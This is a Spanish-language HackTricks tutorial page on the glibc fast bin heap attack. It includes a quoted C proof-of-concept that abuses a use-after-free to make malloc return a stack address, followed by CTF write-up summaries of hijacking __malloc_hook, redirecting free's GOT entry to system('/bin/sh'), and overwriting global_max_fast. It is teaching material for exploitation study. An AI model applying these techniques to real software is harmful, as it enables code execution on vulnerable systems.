Fast Bin Attack

Apoya a HackTricks

Información Básica

Para obtener más información sobre qué es un fast bin, consulta esta página:

Bins & Memory Allocations

Dado que el fast bin es una lista enlazada simple, hay muchas menos protecciones que en otros bins y simplemente modificar una dirección en un chunk fast bin liberado es suficiente para poder asignar más tarde un chunk en cualquier dirección de memoria.

En resumen:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Puedes encontrar un ejemplo completo en un código muy bien explicado en https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

Si es posible sobrescribir el valor de la variable global global_max_fast con un número grande, esto permite generar fragmentos de fast bin de tamaños más grandes, potencialmente permitiendo realizar ataques de fast bin en escenarios donde previamente no era posible. Esta situación es útil en el contexto del ataque de large bin y ataque de unsorted bin.

Ejemplos

  • Es posible asignar fragmentos, liberarlos, leer su contenido y llenarlos (con una vulnerabilidad de desbordamiento).

  • Consolidar fragmento para infoleak: La técnica consiste básicamente en abusar del desbordamiento para crear un prev_size falso para que un fragmento anterior se coloque dentro de uno más grande, de modo que al asignar el más grande que contiene otro fragmento, es posible imprimir sus datos y filtrar una dirección a libc (main_arena+88).

  • Sobrescribir gancho de malloc: Para esto, y abusando de la situación de superposición anterior, fue posible tener 2 fragmentos que apuntaban a la misma memoria. Por lo tanto, liberándolos a ambos (liberando otro fragmento en medio para evitar protecciones), fue posible tener el mismo fragmento en el fast bin 2 veces. Luego, fue posible asignarlo nuevamente, sobrescribir la dirección al siguiente fragmento para apuntar un poco antes de __malloc_hook (para que apunte a un entero que malloc piensa que es un tamaño libre - otro bypass), asignarlo nuevamente y luego asignar otro fragmento que recibirá una dirección a los ganchos de malloc. Finalmente se escribió un one gadget allí.

  • Hay un desbordamiento de montón y uso después de liberar y doble liberación porque cuando se libera un fragmento es posible reutilizar y volver a liberar los punteros.

  • Filtrado de información de libc: Simplemente libere algunos fragmentos y obtendrán un puntero a una parte de la ubicación de la main arena. Como se pueden reutilizar los punteros liberados, simplemente lea esta dirección.

  • Ataque de fast bin: Todos los punteros a las asignaciones se almacenan dentro de un array, por lo que podemos liberar un par de fragmentos de fast bin y en el último sobrescribir la dirección para apuntar un poco antes de este array de punteros. Luego, asignar un par de fragmentos con el mismo tamaño y obtendremos primero el legítimo y luego el falso que contiene el array de punteros. Ahora podemos sobrescribir estos punteros de asignación para hacer que la dirección GOT de free apunte a system y luego escribir "/bin/sh" en el fragmento 1 para luego llamar a free(fragmento1) que en su lugar ejecutará system("/bin/sh").

  • Otro ejemplo de abuso de un desbordamiento de un byte para consolidar fragmentos en el unsorted bin y obtener un filtrado de información de libc y luego realizar un ataque de fast bin para sobrescribir el gancho de malloc con una dirección de one gadget.

  • Después de un filtrado de información abusando del unsorted bin con un UAF para filtrar una dirección de libc y una dirección de PIE, el exploit de este CTF utilizó un ataque de fast bin para asignar un fragmento en un lugar donde estaban ubicados los punteros a fragmentos controlados, por lo que fue posible sobrescribir ciertos punteros para escribir un one gadget en la GOT.

  • Puedes encontrar un ataque de Fast Bin abusado a través de un ataque de unsorted bin:

  • Ten en cuenta que es común antes de realizar ataques de fast bin abusar de las listas de liberación para filtrar direcciones de libc/montón (cuando sea necesario).

  • Solo podemos asignar fragmentos de tamaño mayor que 0x100.

  • Sobrescribir global_max_fast usando un ataque de Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits).

  • Ataque de Fast Bin para modificar un array global de fragmentos. Esto proporciona un primitivo de lectura/escritura arbitrario, que permite modificar la GOT y hacer que alguna función apunte a system.

Unsorted Bin Attack
Apoya a HackTricks

Last updated